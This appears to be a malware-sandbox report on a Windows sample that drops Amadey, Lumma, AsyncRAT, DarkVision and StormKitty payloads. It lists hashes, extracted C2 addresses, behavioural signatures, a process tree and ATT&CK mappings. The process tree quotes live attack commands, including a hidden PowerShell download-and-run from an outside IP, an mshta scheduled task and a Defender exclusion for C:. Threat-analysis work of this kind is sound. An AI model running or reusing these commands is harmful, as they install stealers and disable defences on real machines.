Overview

overview

10

Static

static

5

2025-04-07...er.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    144s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250314-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/04/2025, 14:29

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2025-04-07_048a5b6a18ac5cdf700f52a2a278813c_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe

  • Size

    938KB

  • MD5

    048a5b6a18ac5cdf700f52a2a278813c

  • SHA1

    e5a8dc48c4af5fe206464c77624afd6d1ea1268e

  • SHA256

    ec50d006bfb0ec94e0d246a831ddb1ac113a914cee49b1721dbfab4a8833b4d9

  • SHA512

    cd5988a0e5e73ff28d51c2eea23e4741c060d74dfad3a6fb02b0d3c86fd87deb6fbaabe9e929093edcb6bcf1bbfb9d88252a4fc2140c3d479487f9d3f75b5b38

  • SSDEEP

    24576:dqDEvCTbMWu7rQYlBQcBiT6rprG8a0du:dTvC/MTQYxsWR7a0d

Score
10/10
amadeyasyncratdarkvisionlummastormkitty092155bootkitdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationratspywarestealertrojan

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://176.113.115.7/mine/random.exe

Extracted

Family

amadey

Version

5.21

Botnet

092155

C2

http://176.113.115.6

Attributes
  • install_dir

    bb556cff4a

  • install_file

    rapes.exe

  • strings_key

    a131b127e996a898cd19ffb2d92e481b

  • url_paths

    /Ni9kiput/index.php

rc4.plain

Extracted

Family

lumma

C2

https://2travelilx.top/GSKAiz

https://jrxsafer.top/shpaoz

https://plantainklj.run/opafg

https://puerrogfh.live/iqwez

https://quavabvc.top/iuzhd

https://-furthert.run/azpp

https://targett.top/dsANGt

https://rambutanvcx.run/adioz

https://ywmedici.top/noagis

https://easyfwdr.digital/azxs

https://jjrxsafer.top/shpaoz

https://upuerrogfh.live/iqwez

https://furthert.run/azpp

https://rodformi.run/aUosoz

https://metalsyo.digital/opsa

https://ironloxp.live/aksdd

https://navstarx.shop/FoaJSi

https://wstarcloc.bet/GOksAo

https://advennture.top/GKsiio

https://atargett.top/dsANGt

Extracted

Family

darkvision

C2

82.29.67.160

Attributes
  • url

    http://107.174.192.179/data/003

    https://grabify.link/ZATFQO

    http://107.174.192.179/clean

  • user_agent

    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Amadey family
    amadey
  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

    ratasyncrat
  • Asyncrat family
    asyncrat
  • DarkVision Rat

    DarkVision Rat is a trojan written in C++.

    ratdarkvision
  • Darkvision family
    darkvision
  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

    stealerlumma
  • Lumma family
    lumma
  • StormKitty

    StormKitty is an open source info stealer written in C#.

    stealerstormkitty
  • StormKitty payload 1 IoCs
  • Stormkitty family
    stormkitty
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
    defense_evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file 13 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Sets service image path in registry 2 TTPs 7 IoCs
    persistence
  • Checks BIOS information in registry 2 TTPs 14 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 27 IoCs
  • Identifies Wine through registry keys 2 TTPs 7 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    defense_evasion
  • Impair Defenses: Safe Mode Boot 1 TTPs 2 IoCs
    defense_evasion
  • Loads dropped DLL 26 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Enumerates connected drives 3 TTPs 45 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Suspicious use of SetThreadContext 7 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 2 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 21 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 5 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-04-07_048a5b6a18ac5cdf700f52a2a278813c_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-04-07_048a5b6a18ac5cdf700f52a2a278813c_agent-tesla_black-basta_cobalt-strike_luca-stealer.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:3660
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn kyZmImaQavH /tr "mshta C:\Users\Admin\AppData\Local\Temp\UoRl2cdJ1.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1272
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn kyZmImaQavH /tr "mshta C:\Users\Admin\AppData\Local\Temp\UoRl2cdJ1.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:6048
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\UoRl2cdJ1.hta
      2⤵
      • Checks computer location settings
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1196
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'6NWA8T7COSTLDEMKGYASZTTJPA4M6VR9.EXE';(New-Object System.Net.WebClient).DownloadFile('http://176.113.115.7/mine/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2752
        • C:\Users\Admin\AppData\Local\Temp6NWA8T7COSTLDEMKGYASZTTJPA4M6VR9.EXE
          "C:\Users\Admin\AppData\Local\Temp6NWA8T7COSTLDEMKGYASZTTJPA4M6VR9.EXE"
          4⤵
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Checks computer location settings
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2324
          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
            "C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe"
            5⤵
            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
            • Downloads MZ/PE file
            • Checks BIOS information in registry
            • Checks computer location settings
            • Executes dropped EXE
            • Identifies Wine through registry keys
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3736
            • C:\Users\Admin\AppData\Local\Temp\10492200101\v1BRaoR.exe
              "C:\Users\Admin\AppData\Local\Temp\10492200101\v1BRaoR.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:3844
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                7⤵
                  PID:1408
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                  7⤵
                    PID:1880
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                    7⤵
                      PID:2560
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                      7⤵
                      • System Location Discovery: System Language Discovery
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1884
                      • C:\Windows\SysWOW64\WerFault.exe
                        C:\Windows\SysWOW64\WerFault.exe -u -p 1884 -s 1380
                        8⤵
                        • Program crash
                        PID:2980
                  • C:\Users\Admin\AppData\Local\Temp\10492700101\Nehh6wZ.exe
                    "C:\Users\Admin\AppData\Local\Temp\10492700101\Nehh6wZ.exe"
                    6⤵
                    • Executes dropped EXE
                    • Suspicious use of SetThreadContext
                    • Suspicious use of WriteProcessMemory
                    PID:5776
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                      7⤵
                        PID:5852
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                        7⤵
                          PID:5456
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                          7⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:640
                      • C:\Users\Admin\AppData\Local\Temp\10493560101\31W3sid.exe
                        "C:\Users\Admin\AppData\Local\Temp\10493560101\31W3sid.exe"
                        6⤵
                        • Executes dropped EXE
                        • Suspicious use of SetThreadContext
                        • Suspicious use of WriteProcessMemory
                        PID:4284
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                          7⤵
                          • Checks SCSI registry key(s)
                          PID:4272
                      • C:\Users\Admin\AppData\Local\Temp\10493810101\XRaOnh8.exe
                        "C:\Users\Admin\AppData\Local\Temp\10493810101\XRaOnh8.exe"
                        6⤵
                        • Executes dropped EXE
                        • Enumerates connected drives
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of SetWindowsHookEx
                        PID:440
                        • C:\Windows\SYSTEM32\notepad.exe
                          notepad.exe
                          7⤵
                            PID:4448
                        • C:\Users\Admin\AppData\Local\Temp\10494280101\NlmvJyQ.exe
                          "C:\Users\Admin\AppData\Local\Temp\10494280101\NlmvJyQ.exe"
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          PID:5524
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                            7⤵
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            PID:5972
                        • C:\Users\Admin\AppData\Local\Temp\10494300101\292ec6e57e.exe
                          "C:\Users\Admin\AppData\Local\Temp\10494300101\292ec6e57e.exe"
                          6⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:800
                        • C:\Users\Admin\AppData\Local\Temp\10494310101\NlmvJyQ.exe
                          "C:\Users\Admin\AppData\Local\Temp\10494310101\NlmvJyQ.exe"
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          PID:4600
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                            7⤵
                            • System Location Discovery: System Language Discovery
                            • Suspicious behavior: EnumeratesProcesses
                            PID:5896
                        • C:\Users\Admin\AppData\Local\Temp\10494320101\Nehh6wZ.exe
                          "C:\Users\Admin\AppData\Local\Temp\10494320101\Nehh6wZ.exe"
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of SetThreadContext
                          PID:5580
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                            7⤵
                              PID:1092
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                              7⤵
                                PID:5008
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                7⤵
                                  PID:1620
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                  7⤵
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4520
                              • C:\Users\Admin\AppData\Local\Temp\10494330101\qhjMWht.exe
                                "C:\Users\Admin\AppData\Local\Temp\10494330101\qhjMWht.exe"
                                6⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:4964
                              • C:\Users\Admin\AppData\Local\Temp\10494340101\AfkeY2q.exe
                                "C:\Users\Admin\AppData\Local\Temp\10494340101\AfkeY2q.exe"
                                6⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                PID:1276
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                  7⤵
                                    PID:808
                                • C:\Users\Admin\AppData\Local\Temp\10494350101\53a13bf6d0.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10494350101\53a13bf6d0.exe"
                                  6⤵
                                  • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                  • Checks BIOS information in registry
                                  • Executes dropped EXE
                                  • Identifies Wine through registry keys
                                  • Writes to the Master Boot Record (MBR)
                                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                                  • System Location Discovery: System Language Discovery
                                  PID:400
                                • C:\Users\Admin\AppData\Local\Temp\10494360101\UZPt0hR.exe
                                  "C:\Users\Admin\AppData\Local\Temp\10494360101\UZPt0hR.exe"
                                  6⤵
                                  • Executes dropped EXE
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: MapViewOfSection
                                  PID:2776
                                  • C:\Windows\SYSTEM32\cmd.exe
                                    cmd.exe /c powershell.exe Add-MpPreference -ExclusionPath 'C:'
                                    7⤵
                                      PID:2088
                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                        powershell.exe Add-MpPreference -ExclusionPath 'C:'
                                        8⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        PID:5732
                                    • C:\Windows\system32\svchost.exe
                                      "C:\Windows\system32\svchost.exe"
                                      7⤵
                                      • Downloads MZ/PE file
                                      • Adds Run key to start application
                                      PID:3192
                                      • C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
                                        "C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe" ""
                                        8⤵
                                        • Sets service image path in registry
                                        • Executes dropped EXE
                                        • Suspicious behavior: LoadsDriver
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1404
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell Remove-MpPreference -ExclusionPath C:\
                                          9⤵
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:6844
                                      • C:\Users\Admin\AppData\Local\Temp\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe
                                        "C:\Users\Admin\AppData\Local\Temp\\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\w32tm.exe" ""
                                        8⤵
                                        • Deletes itself
                                        • Executes dropped EXE
                                        PID:3000
                                        • C:\Users\Admin\AppData\Local\Temp\{dbdc1339-c0bf-49cb-9622-788cc2464c9f}\3cdf351c.exe
                                          "C:\Users\Admin\AppData\Local\Temp\{dbdc1339-c0bf-49cb-9622-788cc2464c9f}\3cdf351c.exe" -accepteula -adinsilent -silent -processlevel 2 -postboot
                                          9⤵
                                          • Executes dropped EXE
                                          • Checks for VirtualBox DLLs, possible anti-VM trick
                                          • System Location Discovery: System Language Discovery
                                          PID:8304
                                          • C:\Users\Admin\AppData\Local\Temp\{9813c4b6-3f4a-4841-926f-814240ce7292}\b2bf6d6c.exe
                                            C:/Users/Admin/AppData/Local/Temp/{9813c4b6-3f4a-4841-926f-814240ce7292}/\b2bf6d6c.exe -accepteula -adinsilent -silent -processlevel 2 -postboot
                                            10⤵
                                            • Drops file in Drivers directory
                                            • Sets service image path in registry
                                            • Executes dropped EXE
                                            • Impair Defenses: Safe Mode Boot
                                            • Loads dropped DLL
                                            • Adds Run key to start application
                                            • Enumerates connected drives
                                            • Writes to the Master Boot Record (MBR)
                                            • Checks for VirtualBox DLLs, possible anti-VM trick
                                            • Event Triggered Execution: Netsh Helper DLL
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: LoadsDriver
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:9608
                                  • C:\Users\Admin\AppData\Local\Temp\10494370101\ibC8xs1.exe
                                    "C:\Users\Admin\AppData\Local\Temp\10494370101\ibC8xs1.exe"
                                    6⤵
                                    • Executes dropped EXE
                                    • Adds Run key to start application
                                    • Suspicious use of SetThreadContext
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:3884
                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\cqjlyxxc\cqjlyxxc.cmdline"
                                      7⤵
                                        PID:7200
                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD8F6.tmp" "c:\Users\Admin\AppData\Local\Temp\cqjlyxxc\CSC41D36509E55F49AF93A4D696AEA3591.TMP"
                                          8⤵
                                            PID:7428
                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
                                          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
                                          7⤵
                                          • System Location Discovery: System Language Discovery
                                          • Checks processor information in registry
                                          PID:7524
                                      • C:\Users\Admin\AppData\Local\Temp\10494380101\XRaOnh8.exe
                                        "C:\Users\Admin\AppData\Local\Temp\10494380101\XRaOnh8.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        • Enumerates connected drives
                                        • Suspicious use of SetWindowsHookEx
                                        PID:7260
                                        • C:\Windows\SYSTEM32\notepad.exe
                                          notepad.exe
                                          7⤵
                                            PID:8412
                                        • C:\Users\Admin\AppData\Local\Temp\10494400101\Rm3cVPI.exe
                                          "C:\Users\Admin\AppData\Local\Temp\10494400101\Rm3cVPI.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          PID:10500
                                        • C:\Users\Admin\AppData\Local\Temp\10494410101\9sWdA2p.exe
                                          "C:\Users\Admin\AppData\Local\Temp\10494410101\9sWdA2p.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          PID:12924
                                        • C:\Users\Admin\AppData\Local\Temp\10494420101\larBxd7.exe
                                          "C:\Users\Admin\AppData\Local\Temp\10494420101\larBxd7.exe"
                                          6⤵
                                          • Executes dropped EXE
                                          • System Location Discovery: System Language Discovery
                                          PID:7936
                                        • C:\Users\Admin\AppData\Local\Temp\10494430101\DgQBvwg.exe
                                          "C:\Users\Admin\AppData\Local\Temp\10494430101\DgQBvwg.exe"
                                          6⤵
                                            PID:12100
                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0nv3kuu4\0nv3kuu4.cmdline"
                                              7⤵
                                                PID:12308
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8F55.tmp" "c:\Users\Admin\AppData\Local\Temp\0nv3kuu4\CSC65014B62577A47AD8BB6D9439A3DC851.TMP"
                                                  8⤵
                                                    PID:12460
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1884 -ip 1884
                                      1⤵
                                        PID:2508
                                      • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                        C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                        1⤵
                                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                        • Checks BIOS information in registry
                                        • Executes dropped EXE
                                        • Identifies Wine through registry keys
                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                        • Suspicious behavior: EnumeratesProcesses
                                        PID:412
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
                                        1⤵
                                          PID:3256
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c C:\ProgramData\{A332F586-BC6E-46FF-BB3B-A67E49F41010}\aitstatic.exe {1CF6DD21-C538-4D1C-883F-AD3AF450FA11}
                                          1⤵
                                            PID:700
                                          • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                            C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                            1⤵
                                            • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                            • Checks BIOS information in registry
                                            • Executes dropped EXE
                                            • Identifies Wine through registry keys
                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                            PID:6368
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c explorer.exe C:\Users\Admin\AppData\Roaming\blv20gPs\exp.exe
                                            1⤵
                                              PID:7596
                                              • C:\Windows\explorer.exe
                                                explorer.exe C:\Users\Admin\AppData\Roaming\blv20gPs\exp.exe
                                                2⤵
                                                  PID:7800
                                              • C:\Windows\explorer.exe
                                                C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
                                                1⤵
                                                  PID:7908
                                                  • C:\Users\Admin\AppData\Roaming\blv20gPs\exp.exe
                                                    "C:\Users\Admin\AppData\Roaming\blv20gPs\exp.exe"
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:4308
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\{128bc160-b9db-48ba-89dc-0730b157ed6b}\6b1ff7f7-36f8-45ca-836d-1dd5b15b7e2b.cmd"0
                                                  1⤵
                                                    PID:9736
                                                  • C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                    C:\Users\Admin\AppData\Local\Temp\bb556cff4a\rapes.exe
                                                    1⤵
                                                    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                    • Checks BIOS information in registry
                                                    • Executes dropped EXE
                                                    • Identifies Wine through registry keys
                                                    • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                    PID:3988

                                                  Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Reconnaissance

                                                  Resource Development

                                                  Initial Access

                                                  Execution

                                                  Command and Scripting Interpreter

                                                  1
                                                  T1059

                                                  PowerShell

                                                  1
                                                  T1059.001

                                                  Scheduled Task/Job

                                                  1
                                                  T1053

                                                  Scheduled Task

                                                  1
                                                  T1053.005

                                                  Persistence

                                                  Boot or Logon Autostart Execution

                                                  2
                                                  T1547

                                                  Registry Run Keys / Startup Folder

                                                  2
                                                  T1547.001

                                                  Event Triggered Execution

                                                  1
                                                  T1546

                                                  Netsh Helper DLL

                                                  1
                                                  T1546.007

                                                  Pre-OS Boot

                                                  1
                                                  T1542

                                                  Bootkit

                                                  1
                                                  T1542.003

                                                  Scheduled Task/Job

                                                  1
                                                  T1053

                                                  Scheduled Task

                                                  1
                                                  T1053.005

                                                  Privilege Escalation

                                                  Boot or Logon Autostart Execution

                                                  2
                                                  T1547

                                                  Registry Run Keys / Startup Folder

                                                  2
                                                  T1547.001

                                                  Event Triggered Execution

                                                  1
                                                  T1546

                                                  Netsh Helper DLL

                                                  1
                                                  T1546.007

                                                  Scheduled Task/Job

                                                  1
                                                  T1053

                                                  Scheduled Task

                                                  1
                                                  T1053.005

                                                  Defense Evasion

                                                  Impair Defenses

                                                  1
                                                  T1562

                                                  Safe Mode Boot

                                                  1
                                                  T1562.009

                                                  Modify Registry

                                                  2
                                                  T1112

                                                  Pre-OS Boot

                                                  1
                                                  T1542

                                                  Bootkit

                                                  1
                                                  T1542.003

                                                  Virtualization/Sandbox Evasion

                                                  2
                                                  T1497

                                                  Credential Access

                                                  Credentials from Password Stores

                                                  1
                                                  T1555

                                                  Credentials from Web Browsers

                                                  1
                                                  T1555.003

                                                  Unsecured Credentials

                                                  2
                                                  T1552

                                                  Credentials In Files

                                                  2
                                                  T1552.001

                                                  Discovery

                                                  Peripheral Device Discovery

                                                  2
                                                  T1120

                                                  Query Registry

                                                  9
                                                  T1012

                                                  System Information Discovery

                                                  7
                                                  T1082

                                                  System Location Discovery

                                                  1
                                                  T1614

                                                  System Language Discovery

                                                  1
                                                  T1614.001

                                                  Virtualization/Sandbox Evasion

                                                  2
                                                  T1497

                                                  Lateral Movement

                                                  Collection

                                                  Data from Local System

                                                  2
                                                  T1005

                                                  Command and Control

                                                  Web Service

                                                  1
                                                  T1102

                                                  Exfiltration

                                                  Impact

                                                  Replay Monitor

                                                  Loading Replay Monitor...

                                                  Downloads

                                                  • C:\ProgramData\{425F784E-921A-4CC0-AE87-06A3B0393A0E}\tzutil.exe
                                                    Filesize

                                                    1.9MB

                                                    MD5

                                                    bcbec32483eb43840823c4f6bd653779

                                                    SHA1

                                                    3b83255512c5f268d0a1cb2997b1cc9d40f4252d

                                                    SHA256

                                                    d8a8e71a2be6d5fafa5d49029a37751c78be7e007152859233b8020a5c258167

                                                    SHA512

                                                    4cb807157807c72d599305eada37e85330314e43061f9af3ab9c44839bfc945431e320adf5259b9a9ecb531368cd9ab91d047eb8874f0ce6a8d4022ed69a6408

                                                    Download Submit

